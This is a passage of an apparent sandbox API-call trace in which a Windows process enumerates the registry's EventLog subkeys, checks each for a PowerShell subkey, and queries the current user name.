lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x1, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x2, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x3, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x4, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x5, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.567] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x6, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.567] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x7, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x70bf218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.567] RegCloseKey (hKey=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.567] RegCloseKey (hKey=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.567] RegCloseKey (hKey=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.567] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.568] RegCloseKey (hKey=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.568] RegCloseKey (hKey=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.568] RegCloseKey (hKey=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x0) returned 0x2 [0080.568] RegCloseKey (hKey=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x76c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x770) returned 0x0 [0080.568] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1d8 | out: phkResult=0x70bf1d8*=0x774) returned 0x0 [0080.568] RegCloseKey (hKey=0x774) returned 0x0 [0080.568] RegCloseKey (hKey=0x76c) returned 0x0 [0080.569] RegCloseKey (hKey=0x770) returned 0x0 [0080.726] CoTaskMemAlloc (cb=0x804) returned 0x745e490 [0080.727] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x745e490, nSize=0x70bf2d0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x70bf2d0) returned 0x1 [0080.728] CoTaskMemFree (pv=0x745e490) [0080.729] GetUserNameW (in: lpBuffer=0x70bf064, pcbBuffer=0x70bf2dc | out: lpBuffer="FD1HVy", pcbBuffer=0x70bf2dc) returned 1 [0080.860] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf180 | out: phkResult=0x70bf180*=0x768) returned 0x0 [0080.861] RegQueryInfoKeyW (in: hKey=0x768, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x70bf1d0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1cc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x70bf1d0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1cc*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.861] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x0, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.861] CoTaskMemFree (pv=0x0) [0080.861] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x1, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.861] CoTaskMemFree (pv=0x0) [0080.861] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x2, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x3, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x4, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x5, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x6, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x7, lpName=0x511cc00, lpcchName=0x70bf1ec, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x70bf1ec, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.862] CoTaskMemFree (pv=0x0) [0080.862] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.862] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.862] RegCloseKey (hKey=0x770) returned 0x0 [0080.862] RegOpenKeyExW (in: hKey=0x768, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.862] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.862] RegCloseKey (hKey=0x770) returned 0x0 [0080.862] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.862] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.862] RegCloseKey (hKey=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.863] RegCloseKey (hKey=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x768, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.863] RegCloseKey (hKey=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.863] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.863] RegCloseKey (hKey=0x770) returned 0x0 [0080.864] RegOpenKeyExW (in: hKey=0x768, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.864] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x0) returned 0x2 [0080.864] RegCloseKey (hKey=0x770) returned 0x0 [0080.864] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x770) returned 0x0 [0080.864] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x76c) returned 0x0 [0080.864] RegCloseKey (hKey=0x76c) returned 0x0 [0080.864] RegCloseKey (hKey=0x768) returned 0x0 [0080.864] RegCloseKey (hKey=0x770) returned 0x0 [0080.865] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf18c | out: phkResult=0x70bf18c*=0x770) returned 0x0 [0080.866] RegQueryInfoKeyW (in: hKey=0x770, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x70bf1dc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1d8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x70bf1dc*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1d8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x0, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x1, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x2, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x3, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x4, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x5, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x6, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegEnumKeyExW (in: hKey=0x770, dwIndex=0x7, lpName=0x511dc0c, lpcchName=0x70bf1f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x70bf1f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.866] CoTaskMemFree (pv=0x0) [0080.866] RegOpenKeyExW (in: hKey=0x770, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.866] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.866] RegCloseKey (hKey=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x770, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.867] RegCloseKey (hKey=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x770, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.867] RegCloseKey (hKey=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x770, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.867] RegCloseKey (hKey=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x770, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.867] RegCloseKey (hKey=0x768) returned 0x0 [0080.867] RegOpenKeyExW (in: hKey=0x770, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.868] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.868] RegCloseKey (hKey=0x768) returned 0x0 [0080.868] RegOpenKeyExW (in: hKey=0x770, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.868] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x0) returned 0x2 [0080.868] RegCloseKey (hKey=0x768) returned 0x0 [0080.868] RegOpenKeyExW (in: hKey=0x770, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x768) returned 0x0 [0080.868] RegOpenKeyExW (in: hKey=0x768, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1b8 | out: phkResult=0x70bf1b8*=0x76c) returned 0x0 [0080.868] RegCloseKey (hKey=0x76c) returned 0x0 [0080.868] RegCloseKey (hKey=0x770) returned 0x0 [0080.869] RegCloseKey (hKey=0x768) returned 0x0 [0080.870] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf174 | out: phkResult=0x70bf174*=0x768) returned 0x0 [0080.870] RegQueryInfoKeyW (in: hKey=0x768, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x70bf1c4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1c0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x70bf1c4*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1c0*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x0, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x1, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x2, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x3, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x4, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.870] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x5, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.870] CoTaskMemFree (pv=0x0) [0080.871] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x6, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.871] CoTaskMemFree (pv=0x0) [0080.871] RegEnumKeyExW (in: hKey=0x768, dwIndex=0x7, lpName=0x511ec4c, lpcchName=0x70bf1e0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x70bf1e0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.871] CoTaskMemFree (pv=0x0) [0080.871] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.871] RegCloseKey (hKey=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x768, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.871] RegCloseKey (hKey=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.871] RegCloseKey (hKey=0x770) returned 0x0 [0080.871] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.872] RegCloseKey (hKey=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x768, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 [0080.872] RegCloseKey (hKey=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x768, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x770) returned 0x0 [0080.872] RegOpenKeyExW (in: hKey=0x770, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1a0 | out: phkResult=0x70bf1a0*=0x0) returned 0x2 